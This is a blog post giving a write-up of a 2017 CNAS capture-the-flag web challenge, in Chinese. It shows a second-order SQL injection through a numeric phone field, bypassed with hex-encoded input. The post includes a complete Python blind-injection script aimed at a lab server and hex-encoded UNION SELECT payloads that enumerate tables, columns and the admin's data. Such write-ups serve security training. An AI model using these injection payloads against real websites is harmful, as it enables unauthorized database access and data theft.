刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

2017年CNAS网络安全等级保护测评能力验证与攻防大赛 Malicious Code Protection Writeup


从github上找到了2017年的题目资料,包含部分writeup,地址 https://github.com/30000ft/CTF_CNAS_2017

CNAS/MPS CTF 2017: Malicious Code Protection

Points: 200

安全主管部门告诉你这个网站的phone参数有问题,但具体什么问题没说,请根据你丰富的经验找到该网站的漏洞并复现。

PutResourceHere

Write-up

首先检查了基本的username和password注入可行性,失败。

然后根据题目提示检查了phone参数,实际上并没有长度限制,maxlength是前端的限制。

尝试了一下phone为非数字字符,提示必须为数字。试了一下phone=.1,注册成功,估计后台校验用的是is_numeric。于是再试了一下`phone=0x61626364',注册成功并且登录后提示phone为abcd,但是在check有多少相同的phone的时候却出现了db error!的提示。

思考了一会儿,猜测后台逻辑是直接INSERT INTO table VALUES ('$username', '$password', $phone),这之后再从数据库里SELECT出phone存储到php的$_SESSION中,最后检查多少phone相同的时候直接用$_SESSION中的phone拼接到SQL语句中,于是就有SELECT COUNT(*) FROM table WHERE phone=$_SESSION[phone]这样的语句。这样,当我注册phone为0x61626364的时候数据库中由于不存在abcd字段名就报错了。

剩下就清晰了,不过由于没有其它回显,只有提示多少电话号码相同的一个回显,就只能盲注。通过不停注册帐号来爆破admin的phone,写了个python脚本。

import requests
from binascii import unhexlify, hexlify
import re
from random import shuffle


error = '<!DOCTYPE html>\n<html>\n<head>\n\t<title>Check</title>\n</head>\n<body>\n<div class="text" style=" text-align:center;">There only 1 people use the same phone as you</div><!-- å\x90¬è¯´adminç\x9a\x84ç\x94µè¯\x9dè\x97\x8fç\x9d\x80大ç§\x98å¯\x86å\x93¦ï½\x9e-->\n</body>\n</html>'
alert = re.compile(r'alert\((.*?)\)')

# charsets
alnum = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYz0123456789'
digit = '0123456789'

payload = "{rand}||username='admin'&&ASCII(MID(phone,{offset},1))>={guess}"


def randstr(charset):
    charset = list(charset)
    shuffle(charset)
    return ''.join(charset)


def str2hex(string):
    return hexlify(string.encode()).decode()


def register(user):
    url = 'http://172.16.5.155/register.php'
    find = alert.findall(requests.post(url, user).text)
    if find:
        raise Exception(*find)


def login(user):
    session = requests.session()
    url = 'http://172.16.5.155/login.php'
    find = alert.findall(session.post(url, user).text)
    if find:
        raise Exception(*find)
    return session


def check(session, user):
    url = 'http://172.16.5.155/check.php'
    resp = session.get(url).text
    if resp.find('db error!') != -1:
        raise Exception('db error!')
    return resp


def getflag(offset):
    bnd = [0x20, 0x80]
    while bnd[0] + 1 != bnd[1]:
        m = bnd[0] + bnd[1] >> 1
        # generate random phone number so that there will
        # be only 1 user (myself) have same phone number as mine.
        randphone = randstr(digit)
        user = {
            'username': randstr(alnum),
            'password': 'f4K3@Pa55wOrd*ha//hei-ho',
            'phone': '0x' + str2hex(payload.format(
                rand=randphone,
                offset=offset,
                guess=m)),
        }
        register(user)
        session = login(user)
        resp = check(session, user)
        bnd[int(resp == error)] = m
    return chr(bnd[0])


if __name__ == '__main__':
    offset = 1
    while True:  # Just hit Ctrl+C manually to exit.
        print(getflag(offset), end='', flush=True)
        offset += 1

发现这道题和i春秋上的一道题一模一样,然后复现了一下。

测试发现注入方法是这样

1 union select database()

绕过转成16进制

1.png

注册填到phone字段

1.png

然后登录,check得到database为webdb 

1.png

按照这个方法继续注册得到表名,字段名,和数据

#得到表名 0x7765626462 为 webdb的十六进制
1 union select table_name from information_schema.tables where table_schema = 0x7765626462 
#十六进制为
0x3120756e696f6e2073656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d61203d2030783737363536323634363220
#获得表名为 user 

#继续获取字段名 0x75736572 为 user 的十六进制
1 union select column_name from information_schema.columns where table_name= 0x75736572
#十六进制为
0x3120756e696f6e2073656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2030783735373336353732
#获取到有用的字段名为username 和 phone

#最后获取admin的phone 0x61646d696e 为 admin 的十六进制
1 union select phone from user where username = 0x61646d696e
#十六进制为
0x3120756e696f6e2073656c6563742070686f6e652066726f6d207573657220776865726520757365726e616d65203d20307836313634366436393665
#获得结果
flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0}

看到github上的writeup写的复杂了,不需要盲注就可以得到结果。

注意:因为phone只能填写数字,所以在注入的时候不需要加单引号,这点切记。


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.